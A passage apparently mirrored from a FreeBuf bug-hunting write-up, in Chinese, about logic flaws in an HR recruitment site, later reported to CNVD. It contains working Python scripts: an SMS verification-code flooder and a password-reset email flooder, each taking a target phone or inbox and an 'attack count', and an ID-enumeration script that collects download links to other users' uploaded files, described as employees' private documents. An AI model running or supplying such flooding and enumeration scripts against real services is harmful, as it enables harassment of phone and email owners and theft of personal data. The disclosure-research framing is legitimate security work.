48

某HR业务网站逻辑漏洞挖掘案例以及POC编写思路分享

 4 years ago
source link: https://www.tuicool.com/articles/FbEfInb
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

*本文原创作者:艾登——皮尔斯,本文属于FreeBuf原创奖励计划,未经许可禁止转载

前言

各位Freebuf的小粉你们好,我们许久不见胜似想念,我看到小粉你们的感觉就是”春风拂过泸沽湖,秋雨浸润九寨沟”。今天鄙人我给大家带来的“干货”是逻辑漏洞挖掘的案例和使用Python3编写漏洞POC。

首先引用我的前辈winway的一句话“ 记得以前有个老师说过,学到跟赚到的要分享给其他人,这样才能获得更多 ”,今天鄙人分享一篇关于某HR平台的逻辑漏洞挖掘案例的文章。以及使用Python3编写漏洞POC的思维(思想)的分享,希望各位Freebuf小粉喜欢。

BJJr6bm.jpg!web

工具准备

BurpSuiteFree (可能大家最喜欢最常用的抓包神器,需要Java环境);

火狐浏览器(个人比较喜欢的浏览器;360/Chrome等浏览器都可以);

SwitchyOmega插件(设置快速切换代理的浏览器插件);

Python3(用来后期编写批量验证漏洞危害的POC)。

测试对象

目标: https://www_hddddddddd_com/ (脱敏)

IP地址:47.***.**.**

运营商:中国香港阿里云|网站中间件:Tomcat

操作系统:Linux

Web框架:Bootstrap

已挖掘出的逻辑漏洞类型

任意手机用户注册;

注册短信验证码轰炸;

密码重置邮件轰炸;

未授权访问导致敏感信息泄露。

一、任意手机用户注册(低危)

(1)打开浏览器,访问该HR业务系统的注册页面(如下图所示):

2yaU3ib.jpg!web (2)在注册人手机输入框中随便任意输入一个11位的手机号码,然后在浏览器中按F12调试出浏览器的开发者工具点击”Network”。然后点击“获取验证码”的按钮。然后我们可以清楚看到Response成功显示了6位验证码。

aEJvQrR.jpg!web

(3)重新获取6位验证码进行任意账号注册:

zYJ7Jn2.jpg!web

(4)成功复现任意账户注册:

2quU3yn.jpg!web

二、注册短信验证码轰炸

(1)打开BurpSuiteFree设置好浏览器的本地代理:

iEB7Zf3.jpg!web

(2)我们抓取获取验证码的请求包:

yYfEV3B.jpg!web (3)然后按Ctrl+R把这个请求包发送到“Repeater”模块:

bqIR32m.jpg!web (4)然后点击“Go”发送请求包查看响应数据包:

qEZv2e3.jpg!web

可以看到响应包成功响应并且返回了6位的验证码。

(5)连续点击“Go”发送请求包查看响应包:

NjARF3q.jpg!webRvQjqie.jpg!web 可以看到每次的响应包中的6位验证码都不一样,疑似存在短信验证码轰炸漏洞,这时候我们要祭出我们的Python来编写”验证码轰炸的POC”。

POC编写核心思路: 通过Requests模块批量模拟浏览器客户端请求获取注册验证码的数据包发送。

短信验证码轰炸POC代码如下:

# -- coding: utf-8 --
import requests
session = requests.session()
headers = {'Referer':"https://www.**********.com/*****/reg",
           'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
n=0
url=("https://www.*********.com/r***/getMobileCode")
def SmsBoom(phpnumber,url):
    data = {'mobile': phpnumber,}
    ron = session.post(url, headers=headers, data=data)
phpnumber = input("请输入你的手机号码:")
AckNumber = int(input("请你输入攻击的次数:"))
while True:
    SmsBoom(phpnumber,url)
    n += 1
    print("[+]成功发送{}条".format(n))
    if n == AckNumber:
        print('结束攻击')
        break
SmsBoom(phpnumber,url)

POC运行效果截图:

2AJbMzz.jpg!web POC运行后会让你输入接受的手机号码和攻击测试的次数来验证短信验证码轰炸漏洞,然后回车POC就会自动运行了。

手机短信收件箱的截图:

bI7fMjb.jpg!web

成功接收到20条注册验证码短信,成功验证并且 复现了短信验证码轰炸漏洞

三、密码重置邮件轰炸(低危)

这个漏洞主要是由于重置邮件发送冷却时间校验限制不严谨导致。

(1)在重置密码的页面输入邮箱,然后点击提交:

M7NNrez.jpg!web

(2)Burp成功抓取到发送重置密码的邮件请求包:

vmyiuiq.jpg!web

(3)然后按Ctrl+R把这个请求包发送到“Repeater”模块,连续点击”Go”:

iUFrmay.jpg!web

然后你懂了吧,又存在重置密码邮件轰炸,我们打开PyCharm,开始编写重置密码邮件轰炸的自动化利用POC:

niA3imR.jpg!web

重置密码邮件轰炸POC代码如下:

import requests
session = requests.session()
headers = {'Referer':"https://www.**********.com/login",'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
n=0
def EmailBoom(Email):
    url = 'https://www.***********.com/**********/user/********Email'
    data = {'validCodeType':2,
            'email':Email,
            'SITE.basepath':'https://www.**********.com:443/'}
    ron = session.post(url, headers=headers, data=data)
    print(ron.text)
Email = input("请输入你的邮件:")
AckNumber = int(input("请你输入攻击的次数:"))
while True:
    EmailBoom(Email)
    n += 1
    print("成功发送{}封".format(n))
    if n == AckNumber:
        print('结束攻击')
        break

POC运行效果截图:

python Email_Boom.py

QbI73aQ.jpg!web 输入接收邮箱和攻击测试的次数,然后回车运行就可以看到POC正在疯狂的输出请求包:

VjEVrii.jpg!web2IvYjeI.jpg!web 运行完成我们打开QQ邮箱查看重置密码邮件轰炸漏洞的攻击效果:

bYn6Jvm.jpg!web 可以看到QQ邮箱已经被重置密码的邮件给淹没了—— 重置密码邮件轰炸漏洞成功复现。

四、未授权访问导致敏感信息泄露(高危)

(1)打开另一个注册界面/reg/reg界面如下,有个上传位置的地方,我们随便上传一张图片文件:

67fEF3q.jpg!web

YRFvUjj.jpg!web

(2)成功上传好文件之后,F12查找文件上传路径无果:

E7RviaU.jpg!web 可以看到a标签的链接到的对象资源是”javascript:void(0);”:

NVV77fA.jpg!web 但是我突然发现鼠标点击文件名称却可以直接下载刚刚上传上去文件:

fy6viif.jpg!web (3)在浏览器中按“Ctrl+J”组合键,打开浏览器的下载管理器:

7Nraiaj.jpg!web

(4)可以看到Windows.png的下载地址,我看到后面的“down?fileid=76595”,我就想尝试修改后面的fileid的值能不能下载其他用户上传的文件。

V7bMviM.jpg!web

(6)可以看到是可以直接下载相关的文件的,当访问一些没有对应文件的ID的时候就会提示“文件不存在”。

m2myaqI.jpg!web

ZRrue26.jpg!web

(7)这时候又到了PyCharm上场了,开始编写POC脚本:

zQ3IRnv.jpg!web

POC编写核心思路: 在while循环中让某变量x+=1,然后把这个赋值给down?fileid=****,再使用Python的requests库的Get请求方式进行批量请求,对请求的响应包进行判断是否等于“文件不存在!”等于直接pass,不等于则把当前存在文件的链接写出到根目录下的txt文档。然后再通过IDM下载工具进行批量下载文件。骚!!!!

未授权访问导致信息泄露POC代码如下:

# -- coding: utf-8 --
import requests
import os
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
url = ("https://www.************.com/config/***********/down?fileid=")
Number= int(input("[+]请你输入开始ID:"))
print('================================开始检测敏感文件================================')
while True:
    f = open('存在文件的ID地址.txt', 'a+')  # 写入一个文件
    Number += 1
    requrl= (url+"{}".format(str(Number)))
    response = requests.get(url=requrl,headers=headers)
    if response.text == str("文件不存在!"):
        print("[+]当前请求链接:"+requrl+"        敏感文件不存在 ")
        pass
    else:
        f.write("当前请求链接:"+requrl+"\n")
        print("[+]当前请求链接:"+requrl+"        存在敏感文件     ",+response.status_code,)
        f.close()

POC运行效果截图:

<b>python Override_access_POC.py</b>

①运行批量检测POC脚本之后,脚本就会自动开始把请求结果输出到屏幕上面如下图所示:

M3uIZrU.jpg!web ②在脚本的根目录下的存在文件的ID地址.txt文档中叶成功保存了存在文件的链接:

mAJryav.jpg!web

③Ctrl+A复制全部链接,然后打开IDM,选择从剪切板批量导入下载链接,可以从文件名判断出这些都是敏感文件,这里鄙人就不做越界下载这些的动作了。

ii67naz.jpg!web

nyEV7vV.jpg!web

IDM下载预览显示了文件名可以断定为企业员工的个人隐私信息,若涉事厂商不及时修复漏洞可能会造成大量公民的个人隐私信息遭到泄露,给其他衍生的网络攻击分子提供可乘之机。

最后我发现这个漏洞不止一个站点受到影响,该公司旗下的十多个站点均受到此类漏洞影响。

aU3QJvF.jpg!web

于是乎我立刻把该漏洞提交到了CNVD国家信息安全漏洞共享平台,然后得到的反馈是如下图(菜鸡的我成功捡到一个CNVD原创漏洞证书): A3UZva6.jpg!web

2yiyyaz.jpg!web

忠告:我们在挖掘漏洞的时候切莫一昧沉迷于各种扫描器,因为很多漏洞你使用漏洞扫描器无法发现的,反而会影响测试网站业务的正常运行,所以我们应该多通过Burp抓包工具对数据包进行分析,查看网站源代码等其他方式进行测试。其次各位白帽子同学切莫被网络黑产高额的金钱利益蒙蔽了自己的双眼,编写提交漏洞报告书到有关平台协助涉事厂商修复领取原创漏洞证书才是正道。希望对各位正在挖掘漏洞的你们能有启蒙作用。

我是一个戴眼镜的菜鸟,希望各位前辈多多指教。。。

Nb6b2iz.jpg!web

*本文原创作者:艾登——皮尔斯,本文属于FreeBuf原创奖励计划,未经许可禁止转载


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK